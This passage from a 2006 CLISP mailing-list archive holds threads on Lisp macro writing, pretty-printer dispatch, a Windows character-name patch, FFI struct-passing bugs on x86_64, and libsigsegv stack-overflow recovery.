ave def-i/o generate the following snippet of code:
> ... (setq/setf sequencetab (read stream))
>[As usual, use macroexpand-1 to test macro output.]
>
>Then the interpreter (and compiler) will do the right thing, since they =
know (from their environment) that sequencetab is a foreign variable.
>It's purely lexical, there's no need for SPECIAL declarations or SYMBOL-=
VALUE.
>
>Regards,
>	J=F6rg H=F6hle.
>
>
>
> =20
>



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X-Original-Date: Sun, 23 Apr 2006 18:46:44 -0400

Just to conclude this topic, based on your suggestions, I implemented the=
 macro as below and
it solves my problem.

(defmacro def-i/o (writer-name reader-name (&rest vars))
  (let ((file-name (gensym))
	(stream (gensym)))
    `(progn
      (defun ,writer-name (,file-name)
	(with-open-file (,stream ,file-name
				 :direction :output
				 :if-exists :supersede)
	  (progn
	    ,@(mapcar #'(lambda (c) `(print ,c ,stream))
		      vars) t)))
     =20
      (defun ,reader-name (,file-name)
	(with-open-file (,stream ,file-name
				 :direction :input
				 :if-does-not-exist :error)
	  (progn
	    ,@(mapcar #'(lambda (c) `(setf ,c (read ,stream)))
		     vars) t)))
      t)))

Thanks for the explanation and help.
JN Swart


Hoehle, Joerg-Cyril wrote:

>Nico wrote:
> =20
>
>>I posted before on this list on the same subject. However, I=20
>>investigated some more after that.
>>   =20
>>
>Thanks for taking the time to make a short example so I could look at it.
>
>The parts relevant to the issue are
> =20
>
>>(def-c-var sequencetab
>>   =20
>>
>and
> =20
>
>>   (dolist (var '(sequencetab))
>>     (set var (read stream)))))
>>   =20
>>
>
>IMHO this codes assumes undocumented behaviour of CLISP.
>
>DEF-C-VAR introduces a global symbol macro.  Introducing a symbol macro =
changes the interpretation of programs.  E.g. the interpreter (and compil=
er) will assign a new meaning to an occurrence of the form SEQUENCETAB, a=
nd substitute the macro definition.
>
>However, using SET (aka SETF SYMBOL-VALUE) "bypasses" interpretation of =
programs.  It accesses the value cell of a symbol.
>Your program expects that cell to contain something related to the inter=
pretation of programs.  But normally, such information is kept in what's =
called the environment.
>
> =20
>
>>This 'works' with clisp 2.33.
>>   =20
>>
>Indeed, on 2005-01-01 Bruno Haible introduced a change which made global=
 symbol macros orthogonal to symbol-value.
>
>Before that, the symbol macro definition where found in a symbol's value=
 cell.  SET and SYMBOL-VALUE where special-cased so as to perform the sub=
stitution.  In effect they were doing part of the interpreter's job.
>Since the change, the substitution is kept in the interpreter's (or comp=
iler's) environment -- where it arguably belongs.
>SYMBOL-VALUE is left untouched, and freely available.
>I don't know what motivated this change last year.
>
>
>Great (disappointing?) news, now let's return to your problem:
> =20
>
>>(defun load-seq (filename)
>> (with-open-file (stream filename :direction :input=20
>>                  :if-does-not-exist :error)
>>   (dolist (var '(sequencetab))
>>     (set var (read stream)))))
>>(load-seq "Mandseq-file")
>>   =20
>>
>
>It looks like your functions "expects" to alter the interpretation of th=
e symbol SEQUENCETAB.  This is a job of the interpreter (or compiler), an=
d SET or SYMBOL-VALUE will not manage to do so (anymore).
>So you need to modify the environment.
>
>Your initial example was:
> =20
>
>>(defmacro def-i/o (writer-name reader-name (&rest vars))
>>(def-i/o save-seq load-seq (sequencetab))
>>   =20
>>
>
>Since you statically know the names of the variables involved, you can h=
ave def-i/o generate the following snippet of code:
> ... (setq/setf sequencetab (read stream))
>[As usual, use macroexpand-1 to test macro output.]
>
>Then the interpreter (and compiler) will do the right thing, since they =
know (from their environment) that sequencetab is a foreign variable.
>It's purely lexical, there's no need for SPECIAL declarations or SYMBOL-=
VALUE.
>
>Regards,
>	J=F6rg H=F6hle.
>
>
>
> =20
>



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Nicholas Sandow wrote:

>I am using clisp with Emacs and inf-lisp.el (Inferior Lisp=20
>mode) on Windows.
>When I hit ctrl-d in the break loop in the inferior lisp=20
>buffer, the entire clisp process exits.

Surprise -- I'd have bet this would not happen in my Emacs (20.7) on =
MS-Windows, but it also exits -- which shows that I've learned not to =
use ^D anymore.

I believe the fault lies somewhere within the Emacs-MS-Windows port or =
within limitations of the pipe Emacs uses on MS-Windows. For this to =
work, one needs something to be recognized as EOF, but not "be" EOF, =
since normal input may follow again.  This presupposes interactive =
streams, among others.  And it requires the stream to send a single =
"EOF" instead of starting to send nothing but EOF signals from then on, =
unlike a NUL: or /dev/null device.

>So how do I get the ctrl-d to work in Emacs?  Is this simply a=20
>limitation of inf-lisp.el?
That's my belief.

A Quick Google shows I guessed right:
http://www.gnu.org/software/emacs/windows/faq7.html
"When an eof is sent to a subprocess running in an interactive shell =
via process-send-eof, the shell terminates unexpectedly as if its input =
were closed."

>Should I give ilisp (http://sf.net/projects/ilisp) a go?
No. If my guess is right, it will exhibit the exact same behaviour.

SLIME will behave differently, because it talks via another protocol.

Regards,
	J=F6rg H=F6hle.


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Hoehle, Joerg-Cyril wrote:
> Nicholas Sandow wrote:
>=20
>> I am using clisp with Emacs and inf-lisp.el (Inferior Lisp=20
>> mode) on Windows.
>> When I hit ctrl-d in the break loop in the inferior lisp=20
>> buffer, the entire clisp process exits.
>=20
> Surprise -- I'd have bet this would not happen in my Emacs (20.7) on MS=
-Windows, but it also exits -- which shows that I've learned not to use ^=
D anymore.
>=20
> I believe the fault lies somewhere within the Emacs-MS-Windows port or =
within limitations of the pipe Emacs uses on MS-Windows. For this to work=
, one needs something to be recognized as EOF, but not "be" EOF, since no=
rmal input may follow again.  This presupposes interactive streams, among=
 others.  And it requires the stream to send a single "EOF" instead of st=
arting to send nothing but EOF signals from then on, unlike a NUL: or /de=
v/null device.
>=20
>> So how do I get the ctrl-d to work in Emacs?  Is this simply a=20
>> limitation of inf-lisp.el?
> That's my belief.
>=20
> A Quick Google shows I guessed right:
> http://www.gnu.org/software/emacs/windows/faq7.html
> "When an eof is sent to a subprocess running in an interactive shell vi=
a process-send-eof, the shell terminates unexpectedly as if its input wer=
e closed."

Thankyou for pointing that out.  To be honest even if I'd read that I mig=
ht not have thought it applied to running clisp with M-x run-lisp - after=
 all I'm not running clisp "as a subprocess in an interactive shell" am I=
? It's just a simple subprocess, right? - but that's possibly because I h=
ave very little idea about pipes and IPC in general.
>=20
>> Should I give ilisp (http://sf.net/projects/ilisp) a go?
> No. If my guess is right, it will exhibit the exact same behaviour.
>=20
> SLIME will behave differently, because it talks via another protocol.

I will give slime a shot.

Thankyou also to Pascal for the input.

Nick.
>=20
> Regards,
> 	J=F6rg H=F6hle.
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John Wiseman <jjwiseman <at> yahoo.com> writes:

> 
> 
> On Apr 18, 2006, at 5:12 PM, Pascal Bourguignon wrote:
> 
>  > Mikalai Birukou writes:
> 
>  >> Do you know which file contains source for system::read-eval-print?
>  >> Thank you in advance.
>  >
>  > I don't know, but it might be worthwhile to learn some more about
>  > basic unix commands, like grep and find.  Alternatively, if you're
>  > rich, you can buy a MacOSX, and use MacOSX and Xcode indexing
>  > features.
> 
> Xcode won't actually help you with Lisp files.  But my Spotlight
> plugin for OS X[1] will:
> 
>    heavymeta:~ wiseman$ mdfind "org_lisp_defuns == 'gethash'"
>    /Users/wiseman/bin/ccl-1.0/level-0/l0-hash.lisp
--- snip ---
> 

Thank you for the trouble. Pascal's command line (it was at the bottom of his
post) worked.
But, the read-eval-print is really in debug.d -- it is written (generated?) in
C. It was starring at me all the time. It happens.




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Hi,

Want to announce TwinLisp 0.5 ( http://twinlisp.nongnu.org/ ).

After install, you have now two scripts to execute. One of them, tclisp, is a
CLisp reshapped a bit to accept two syntaxes: common lisp and twinlisp. The
prompt indicates which syntax you are using with "t" standing for twinlisp and
"c" standing for common syntax.

Twin syntax can be used in the debugger and a stepper.

You may insert common code into twin code using #t{ and #t} . The same opening
and closing should be used for inserting twin code into common code.

Please, enjoy.

Special thanks to Pascal Bourguignon and Hoehle Joerg-Cyril, for they gave me
hints of what to change in CLisp and how.



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Tobias C. Rittweiler wrote:
>  (flet ((my-symbol-pprint (stream obj)
>           (let ((*print-pretty* nil))
>             (princ "++" stream) (princ obj stream) (princ "++" stream))))
>    (let ((*print-pprint-dispatch* (copy-pprint-dispatch)))
>      (set-pprint-dispatch 'symbol #'my-symbol-pprint)
>      (princ-to-string (macroexpand '(loop for i in '(1 2 3) 
>collect i)))))

Looking at the code, it looks like CLISP implements sort of CLtL2 behaviour:
   "If no type specifiers match the object, a function is returned
    that prints object with *print-pretty* bound to nil."

CLISP will use its builtin printer when no specific dispatcher is found.  When that happens, no further dispatch will happen, even for subforms of the original object.  E.g. (princ-to-string 'foo) calls your formatter, while (princ-to-string '(foo)) ignores it and yields "(FOO)".

I think the following should be portable: if your symbol occurs within a CONS (or list structure), use an additional set-pprint-dispatch 'CONS to print pairs in the way you like. Then the SYMBOL dispatcher will be called recursively via calls to PRINT etc. in your CONS printer.

I welcome comments on this.  There are pros and cons.  E.g. it's easy to get a recursive stack overflow by setting a dispatcher for tree structures, since this will be used everywhere while in dynamic scope, even when trying to print error messages!

So far the work-around. I concede that the current behaviour seems somewhat like a bug. CLHS says something opposite to CLtL2:
   "The value of *print-pretty* is still true when this function is called,
    and individual methods for print-object might still elect to produce
    output in a special format conditional on the value of *print-pretty*.".
I'm not sure whether CLISP's behaviour falls in the category "by default uses a print method in a special format where *print-pretty* is not true and thus disregards pprint-dispatch" -- and can therefore qualify as conformant.

Hope this helps,
	Jorg Hohle.


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:


> Tobias C. Rittweiler wrote:
> >  (flet ((my-symbol-pprint (stream obj)
> >           (let ((*print-pretty* nil))
> >             (princ "++" stream) (princ obj stream) (princ "++" stream))))
> >    (let ((*print-pprint-dispatch* (copy-pprint-dispatch)))
> >      (set-pprint-dispatch 'symbol #'my-symbol-pprint)
> >      (princ-to-string (macroexpand '(loop for i in '(1 2 3) collect i)))))
>
>
> Looking at the code, it looks like CLISP implements sort of CLtL2
> behaviour: "If no type specifiers match the object, a function is
> returned that prints object with *print-pretty* bound to nil."

Could you provide a more specific reference into CLtL2 where this
sentence stems from, please?


> CLISP will use its builtin printer when no specific dispatcher is
> found.  When that happens, no further dispatch will happen, even for
> subforms of the original object.  E.g. (princ-to-string 'foo) calls
> your formatter, while (princ-to-string '(foo)) ignores it and yields
> "(FOO)".

Yes, exactly.


> [...]  I welcome comments on this.  There are pros and cons.
> E.g. it's easy to get a recursive stack overflow by setting a
> dispatcher for tree structures, since this will be used everywhere
> while in dynamic scope, even when trying to print error messages!

Yup. In fact, I could make clisp segfault when storing (essentially)
something like #'(LAMBDA (STREAM OBJ) (FORMAT STREAM "++~A++" OBJ)) as
pprint-dispatch table entry for symbols. Unfortunately, I couldn't
reproduce the segfault when using a clisp freshly compiled with
debugging flags (in which case the overlow gets successfully caught up.)


> So far the work-around. I concede that the current behaviour seems
> somewhat like a bug. CLHS says something opposite to CLtL2: "The value
> of *print-pretty* is still true when this function is called, and
> individual methods for print-object might still elect to produce
> output in a special format conditional on the value of
> *print-pretty*.".  I'm not sure whether CLISP's behaviour falls in the
> category "by default uses a print method in a special format where
> *print-pretty* is not true and thus disregards pprint-dispatch" -- and
> can therefore qualify as conformant.

What's the exact references?

  -T.



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Tobias C. Rittweiler wrote:
>> Looking at the code, it looks like CLISP implements sort of CLtL2
>> behaviour: "If no type specifiers match the object, a function is
>> returned that prints object with *print-pretty* bound to nil."
>Could you provide a more specific reference into CLtL2 where this
>sentence stems from, please?

CLtL2 on pprint-dispatch:
http://www.supelec.fr/docs/cltl/clm/node259.html
-- Thanks to SUPELEC for still hosting CLtL2 online.

>> CLHS says something opposite to CLtL2: 
>"The value
>> of *print-pretty* is still true when this function is called, and
>> individual methods for print-object might still elect to produce
>> output in a special format conditional on the value of
>> *print-pretty*.".
>What's the exact references?

http://www.lisp.org/HyperSpec/Body/sec_22-2-1-4.html
See also the UNIFY writeup issue which mentions the move from NIL to T.
http://www.lisp.org/HyperSpec/Issues/iss180-writeup.html

>Yup. In fact, I could make clisp segfault [...]
>I couldn't reproduce the segfault when using a clisp freshly compiled
The difference should be libsigsegv. Is it missing from your original build?

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	Jorg Hohle.


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> > > CLHS says something opposite to CLtL2: "The value of
> > > *print-pretty* is still true when this function is called, and
> > > individual methods for print-object might still elect to produce
> > > output in a special format conditional on the value of
> > > *print-pretty*.".
> >
> > What's the exact references?
>
> http://www.lisp.org/HyperSpec/Body/sec_22-2-1-4.html
> See also the UNIFY writeup issue which mentions the move from NIL to T.
> http://www.lisp.org/HyperSpec/Issues/iss180-writeup.html

So, yes, this means that in the print-object method for lists,
*PRETTY-PRINT* must be preserved to be T and so it is in a furher call
to the print-object for symbols as described in the algorithm of
22.1.3.5. So I'm just more convinced that my original expecation was
justified.


> >Yup. In fact, I could make clisp segfault [...]  I couldn't reproduce
> >the segfault when using a clisp freshly compiled
>
> The difference should be libsigsegv. Is it missing from your original
> build?

No, in fact, the segfault occured somewhere in the chain into
libsigsegv, I think on the recovering side. I can't work this out
currently, as it seems I'm having trouble again with my RAM (firefox
regularly blows up.)

  -T.



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Tobias Rittweiler wrote:
>So I'm just more convinced that my original expecation was justified.
Please file a bug report to the bugtracker
http://sourceforge.net/tracker/?group_id=1355&atid=101355
You could also mention that some of the CLHS examples fail for the same reason.
Benefit to you as the reporter: automatic notification when it'll be solved.

Oh, and if you'd like to submit patches or generally work on the pretty printer, you're welcome ;) as well as everybody else!

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Why is the set of characters different for Windows and Linux?

http://www.podval.org/~sds/clisp/impnotes/char-platform-dep.html

And even for characters which are available on both platforms, like
#\Escape, it differs (on Windows there is no #\Escape, while it is available
in most other Lisp implementations, like LispWorks or CLISP on Linux). This
is not a bug, but I wonder why it is not the same on all platforms.

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"Frank Buss" <fb@frank-buss.de> writes:
> And even for characters which are available on both platforms, like
> #\Escape, it differs (on Windows there is no #\Escape, while it is available
                                               ^^^^^^^^^

> in most other Lisp implementations, like LispWorks or CLISP on Linux). This
> is not a bug, but I wonder why it is not the same on all platforms.

Frank meant #\Esc there. (I know that because we were discussing a
minute ago.) Anyway, here's a patch to define #\Esc on windows:

--- src/constobj.d.old  2006-04-25 23:09:56.000000000 +0100
+++ src/constobj.d      2006-04-25 23:11:13.000000000 +0100
@@ -68,7 +68,7 @@
   # On change of character-names except of CONSTOBJ.D, also
   # readjust CHARSTRG.D, FORMAT.LISP, IMPNOTES.HTML!
   #ifdef WIN32_CHARNAMES
-    # names of characters with codes 0,7,...,13,26,27,32,8,10:
+    # names of characters with codes 0,7,...,13,26,27,32,8,10,27:
     LISPOBJ(charname_0,"\"Null\"")
     LISPOBJ(charname_7,"\"Bell\"")
     LISPOBJ(charname_8,"\"Backspace\"")
@@ -82,6 +82,7 @@
     LISPOBJ(charname_32,"\"Space\"")
     LISPOBJ(charname_8bis,"\"Rubout\"")
     LISPOBJ(charname_10bis,"\"Linefeed\"")
+    LISPOBJ(charname_27bis,"\"Esc\"")
   #endif
   #ifdef UNIX_CHARNAMES
     LISPOBJ(charname_0bis,"\"Null\"")


I hope it applies to a recent version of this file, cvs.sf.net is not
responding atm.

-- 
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I appear to have found a bug in the macroexpansion mechanism.

I have a macro which will expand into a structure setting call.
I want to be able to say

(cca x a b)

and turn it into 

(setf (state-f x) '(a b))

so I write the macro as:

(defmacro cca (str &rest args)
 `(setf
   (,(intern (string-upcase (concatenate 'string "STATE-" (string str))))
     *state*)
  ',args))


which works beautifully (and has been for some time).

However if I feed it the arguments:

(cca x ((not a) foo) (a bar))

it fails during file loading, giving the message:

*** - SYSTEM::%EXPAND-FORM: (NOT DF) should be a lambda expression

but since cca is a macro the arguments should be passed unevaluated.
When the arguments arrive (via &rest args) they should still be
unevaluated since they are form substituted into a quoted list.

This SHOULD expand into something like

(setf (state-f *state*) 
 '(((not a) foo) (a bar)))

Did I miss something or is this a bug?
It expands properly in other lisps.

Tim Daly




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Frank Buss wonders:
>Why is the set of characters different for Windows and Linux?
Presumably history. In the terminal console days of UNIX, playing with ASCII control codes (e.g. SI or SO) was common.  Other systems only provide names for codes relevant to their OS (e.g. CSI on AmigaOS, code 128+27).

>(on Windows there is no #\Esc, while it is available
>in most other Lisp implementations, like LispWorks or CLISP on 
>Linux).
Implemented and documented in CVS.
BTW, #\Rubout was misdocumented as #\Code8 on MS-Windows. It's #\Code127, as on UNIX, and has been so since at least 1998.  Also fixed.
http://www.podval.org/~sds/clisp/impnotes/char-platform-dep.html
(webpage will likely be updated soon).

Regards,
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Bernard Urban wrote:

>The following program works fine on a =20
>Intel Xeon machine (used as a i686 machine),=20
>but fails on a different
>machine with the same CPU, but used as a x86_64 machine.
>the FFI tests on installation work ok even on x86_64

Did you compile CLISP 2.38 yourself or do you use some distribution?

>struct projUV {
>  double u, v;
>};
>struct projUV pj_fwd(struct projUV in, opaque proj)

>Output from the i686 machine:
>Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ?
>Input proj =3D 0x81ea530 u =3D 45 v =3D 67

>And from the x86_64 machine:
>Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ?
>Input proj =3D 0x4046800000000000 u =3D 0 v =3D 0
>So there is something weird happening, related to pointer apparently.

This looks like a bug in the ffcall library.  It looks like ffcall did =
not guess the correct calling convention for passing or returning this =
struct.
Is it possible for you to work with pointers to structs instead, as a =
work-around?


Sadly, I have no access to a 64bit machine.
Could you add a test to ffcall/avcall/tests.c similar to the existing
typedef struct { long l1; long l2; } J;
J J_JiJ (J a, int b, J c)
and report ffcall test results?

That test shows that passing & returning a struct { long ; long } =
works.
struct { double; double } is untested and could make a difference.

Regards,
	J=F6rg H=F6hle.


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> > struct projUV {
> >   double u, v;
> > };
> > struct projUV pj_fwd(struct projUV in, opaque proj)

The ffcall library can not portably support passing or returning structs
containing doubles or floats _by_value_.

Suggestions: Either write a wrapper around your function to pass or
return the structs by pointer. Or enhance clisp's foreign.d to deal with
this case automatically.

> This looks like a bug in the ffcall library.  It looks like ffcall did not
> guess the correct calling convention for passing or returning this struct.

Yes, but it will not be fixed.

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Don cohen wrote:

>These seem not to work in 2.38 downloaded from
>http://sourceforge.net/project/showfiles.php?group_id=1355
>e.g., clisp-2.38-x86_64-unknown-linux-gnu-2.6.9.tar.gz
Do you mean working as functional or available?

>I notice that they do seem to work in clisp.i386 2.38-1.fc4

>I do notice that working with-keyboard seems to correlate with
>#+screen.  Is that coincidence?  Can it be made to work even when
>#-screen?
lispbibl.d shows that they share the same conditions for availability:
#if ((defined(UNIX) && !defined(NEXTAPP) || defined(MAYBE_NEXTAPP)) && !defined\
(NO_TERMCAP_NCURSES)) || defined(WIN32_NATIVE)

Alas, there's #+SCREEN on the Lisp side to detect it, but there's no #+KEYBOARD nor something equivalent.

In a CLISP version that does not provide this functionality, what would you expect:
a) no symbol named ext:with-keyboard available?
b) symbol present, but not fbound?
c) symbol only internal, not exported from EXT?

Of course, that does not explain why it "seems not to work" in the package you mention.

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	Jorg Hohle.


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Bruno Haible wrote:
>The ffcall library can not portably support passing or=20
>returning structs containing doubles or floats _by_value_.

>Suggestions: Either write a wrapper around your function to pass or
>return the structs by pointer. Or enhance clisp's foreign.d to=20
>deal with this case automatically.
What is possible in CLISP's foreign.d except signaling an error?

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Joerg-Cyril Hoehle wrote:
> >Suggestions: Either write a wrapper around your function to pass or
> >return the structs by pointer. Or enhance clisp's foreign.d to
> >deal with this case automatically.
>
> What is possible in CLISP's foreign.d except signaling an error?

foreign.d could signal an error in that case. But foreign1.lisp should emit
C code for a wrapper function that passes the struct by pointer.

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Hoehle, Joerg-Cyril writes:
 > Don cohen wrote:
 > >These seem not to work in 2.38 downloaded from
 > >http://sourceforge.net/project/showfiles.php?group_id=1355
 > >e.g., clisp-2.38-x86_64-unknown-linux-gnu-2.6.9.tar.gz
 > Do you mean working as functional or available?

Well, the symbols are available.  The stuff needed to make them
functional is not.

 > >I notice that they do seem to work in clisp.i386 2.38-1.fc4
 > 
 > >I do notice that working with-keyboard seems to correlate with
 > >#+screen.  Is that coincidence?  Can it be made to work even when
 > >#-screen?
 > lispbibl.d shows that they share the same conditions for availability:
 > #if ((defined(UNIX) && !defined(NEXTAPP) || defined(MAYBE_NEXTAPP)) && !defined\
 > (NO_TERMCAP_NCURSES)) || defined(WIN32_NATIVE)
 > 
 > Alas, there's #+SCREEN on the Lisp side to detect it, but there's no #+KEYBOARD nor something equivalent.
 > 
 > In a CLISP version that does not provide this functionality, what would you expect:
 > a) no symbol named ext:with-keyboard available?
 > b) symbol present, but not fbound?
 > c) symbol only internal, not exported from EXT?
I'd expect (a).  I'd also expect the dependency to be mentioned in impnotes.
But I don't understand what keyboard has to do with screen.
Why shouldn't it always be available?

 > Of course, that does not explain why it "seems not to work" in the
 > package you mention.
That's now easy: #-screen



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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Bernard Urban wrote:
>
>>The following program works fine on a=20=20
>>Intel Xeon machine (used as a i686 machine),=20
>>but fails on a different
>>machine with the same CPU, but used as a x86_64 machine.
>>the FFI tests on installation work ok even on x86_64
>
> Did you compile CLISP 2.38 yourself or do you use some distribution?
>

I compiled myself (they are Red Hat machines); no special configure or
gcc options used.

>>struct projUV {
>>  double u, v;
>>};
>>struct projUV pj_fwd(struct projUV in, opaque proj)
>
>>Output from the i686 machine:
>>Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ?
>>Input proj =3D 0x81ea530 u =3D 45 v =3D 67
>
>>And from the x86_64 machine:
>>Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ?
>>Input proj =3D 0x4046800000000000 u =3D 0 v =3D 0
>>So there is something weird happening, related to pointer apparently.
>
> This looks like a bug in the ffcall library.  It looks like ffcall did no=
t guess the correct calling convention for passing or returning this struct.
> Is it possible for you to work with pointers to structs instead, as a wor=
k-around?

I will try this (already required by cmucl anyway in 32 bits) and mail
you the results.

>
> Sadly, I have no access to a 64bit machine.
> Could you add a test to ffcall/avcall/tests.c similar to the existing
> typedef struct { long l1; long l2; } J;
> J J_JiJ (J a, int b, J c)
> and report ffcall test results?
=20
Ditto.

> That test shows that passing & returning a struct { long ; long } works.
> struct { double; double } is untested and could make a difference.
>
> Regards,
> 	J=F6rg H=F6hle.
>

Sincerely.

--=20

Bernard Urban



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I have a project starting that is probably a good match for CLISP. In 
broad terms, it's essentially implementing a shell for a POSIX system 
(Linux, specifically) in CL. There's a lot more to it, but behaviorally 
that's it.

Given this, I need pretty broad access to the POSIX API as possible. I 
noticed that there are already some things in CLISP's tool kit in 
section 32.11 of the implementation notes (POSIX and OS packages) as 
well as some things for raw terminal IO in 21.2.2.

Unfortunately, there isn't a complete set. In fact, the set that exists 
is pretty eclectic (why POSIX:SETPGRP but not FORK??).

My hunch is that I'll basically end up using the POSIX package interface 
where I need it, and then augmenting that with other system calls as 
appropriate.

Some questions:

1. I'll need to be able to deal with signals. I have read the mailing 
list archives where it's very strongly pointed out not to try to run 
signals in Lisp as it can confuse the GC. Is there any problem running 
signals as C routines through FFI?

2. Which signals, if any, does CLISP use internally on Linux, perhaps 
for things like page protection for GC? I'll need to avoid those signals.

3. Are there any other gotchas with respect to fork, exec, etc?

4. I'll need to be manipulating file descriptors all over the place. 
What's the best way to do that without conflicting with CLISPs stream 
handling. I'll want to do raw IO, but may need more control that the 
EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess 
with the tty direction and probably invoke all sorts of termios functions.

5. I'll need a select/poll loop that can handle all types of 
descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame 
it's named something that's so socket-specific if it's really a more 
general functionality). Are there any gotchas here? On Linux, does it 
call select or poll (curios in terms of scalability)?

I'm sure I'll have many more questions as I get cracking, but this is a 
start.

Thanks!

-- Dave


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Hi,

CLISP uses two stacks: a STACK for Lisp objects and the C program stack.

I'm not aware of problems with stack overflow recovery of the Lisp stack.  CLISP will reset to a REPL when this happens.

There were several problems with program stack overflow. They should belong to the past now that I just fixed something in CVS (related to UNIX).

CLISP depends on libsigsegv to provide program stack overflow recovery.
Without libsigsegv, CLISP will just crash.

Beginners (those who are likely to write endless recursive functions) are advised to use a distribution of CLISP that has been compiled with libsigsegv.
If your's does not contain it, please complain to the distribution's maintainer.

In a new recent enough clisp, you can use (SOFTWARE-TYPE) to inquire about libsigsegv. E.g.
[1]> (software-type)
"cl  -G5 -Ot -Oy -Ob1 -Gs -Gf -Gy -Og -W4 -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -
I.  charset.lib avcall.lib callback.lib  user32.lib ws2_32.lib advapi32.lib ole3
2.lib shell32.lib sigsegv.lib
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRI
VIALMAP_MEMORY
libsigsegv 2.2"
Or you can use
[2]> (defun fact(n)(if (zerop n) 1 (* n (fact (1- n)))))
FACT ; interpreted, not compiled
[3]> (fact -1)
*** - Program stack overflow. RESET
[4]> (fact -1)
*** - Program stack overflow. RESET
[5]>

With libsigsegv, CLISP should exhibit the above behaviour.
However, there were two bugs:
1) gcc4 causes libsigsegv to misconfigure and not provide stack overflow detection.  This can be seen in the include file sigsegv.h. If it does not say
#if 1
# define HAVE_STACK_OVERFLOW_RECOVERY 1
and your Linux is new enough and gcc4 was used to compile it, it's misconfigured.

This bug affects Ubuntu Breezy Debian, among other distributions. Ubuntu Hoary used gcc-3.4 and was not affected.
A patch is available at
http://sourceforge.net/tracker/index.php?func=detail&aid=1452072&group_id=61267&atid=496662

2) CLISP did not reset signals after stack overflow on UNIX, leading to the "CLISP dumps core after second stack overflow" symptom.
This is what I just fixed in CVS.

In summary there are no known issues left that I know of.

CLISP + libsigsegv (current is 2.2) will work fine if
o on MS-Windows-XP, you use libsigsegv from CVS
o on other MS-Windows, you can use the 2.2 release
o on Unix with gcc4, you use my patch to libsigsegv 2.2
o on Unix with another gcc, you can use the 2.2 release.

I hope that the libsigsegv maintainer will find time to release 2.3 ASAP.
In the meantime, I think I'll file a bug report to Debian to have the patch applied independently.

Regards,
	Jorg Hohle


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Hoehle, Joerg-Cyril wrote:
> CLISP + libsigsegv (current is 2.2) will work fine if
> o on MS-Windows-XP, you use libsigsegv from CVS
> o on other MS-Windows, you can use the 2.2 release

Version of the clisp? libsigsegv with[out] patch?

[1]> (VERSION)
#<VERSION :MAJOR 5 :MINOR 0 :BUILD 2195 :PLATFORM :NT :SERVICE-PACK 
"Service Pack 4" :SERVICE-PACK-MAJOR 4  :SERVICE-PACK-MINOR 0 :SUITES 
NIL :PRODUCT-TYPE :WORKSTATION>
[2]> (SOFTWARE-VERSION)
"GNU C 3.4.5 (mingw special)"
[3]> (LISP-IMPLEMENTATION-VERSION)
"2.38 (2006-01-24) (built 3350973001) (memory 3350973673)"
[4]> (software-type)
"gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
-fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none 
-lintl libcharset.a libavcall.a libcallback.a 
/usr/local/lib/libreadline.a -ltermcap  -luser32 -lws2_32 -lole32 
-loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
libiconv 1.9
libreadline 5.0"
[5]> (defun fact(n)(if (zerop n) 1 (* n (fact (1- n)))))
FACT
[6]> (fact -1)

Instant segfault

-- 
WBR, Yaroslav Kavenchuk.


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Yaroslav Kavenchuk wonders:
>> CLISP + libsigsegv (current is 2.2) will work fine if
>> o on MS-Windows-XP, you use libsigsegv from CVS
>> o on other MS-Windows, you can use the 2.2 release

>Version of the clisp? libsigsegv with[out] patch?
>[2]> (SOFTWARE-VERSION)
>"GNU C 3.4.5 (mingw special)"
>[4]> (software-type)
>"gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit=20
>-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2=20
>-fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none =

>-lintl libcharset.a libavcall.a libcallback.a=20
>/usr/local/lib/libreadline.a -ltermcap  -luser32 -lws2_32 -lole32=20
>-loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv
>SAFETY=3D0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS=20
>SPVW_MIXED TRIVIALMAP_MEMORY
>libsigsegv 2.2
>libiconv 1.9
>libreadline 5.0"

Sorry for being confusing: cygwin/mingw behave as UNIX, so you probably =
need CLISP CVS and or libsigsegv patches.  Please report results.

Regards,
	J=F6rg H=F6hle


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Hoehle, Joerg-Cyril wrote:
> Sorry for being confusing: cygwin/mingw behave as UNIX, so you probably
> need CLISP CVS and or libsigsegv patches.  Please report results.
> 

No problem, but anonimous CVS access...

Maybe somebody upload patch from 2.38 (or 1.5276 from 
2006.03.27.14.33.14) to interent?

Thanks!

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Joerg-Cyril Hoehle wrote:
> CLISP + libsigsegv (current is 2.2) will work fine if
> o on MS-Windows-XP, you use libsigsegv from CVS
> o on other MS-Windows, you can use the 2.2 release
> o on Unix with gcc4, you use my patch to libsigsegv 2.2
> o on Unix with another gcc, you can use the 2.2 release.
>
> I hope that the libsigsegv maintainer will find time to release 2.3 ASAP.

GNU libsigsegv-2.3 is released, in http://ftp.gnu.org/gnu/libsigsegv/ .
New in 2.3:

* Support for GCC 4 contributed by Paolo Bonzini.
* Support for MacOS X i386 contributed by Bruno Haible.
* Improved support for Woe32 contributed by Doug Currie.

Bruno



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> * Dave Roberts <qnir@ilnggn.pbz> [2006-04-27 15:42:56 -0700]:
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> Unfortunately, there isn't a complete set. In fact, the set that
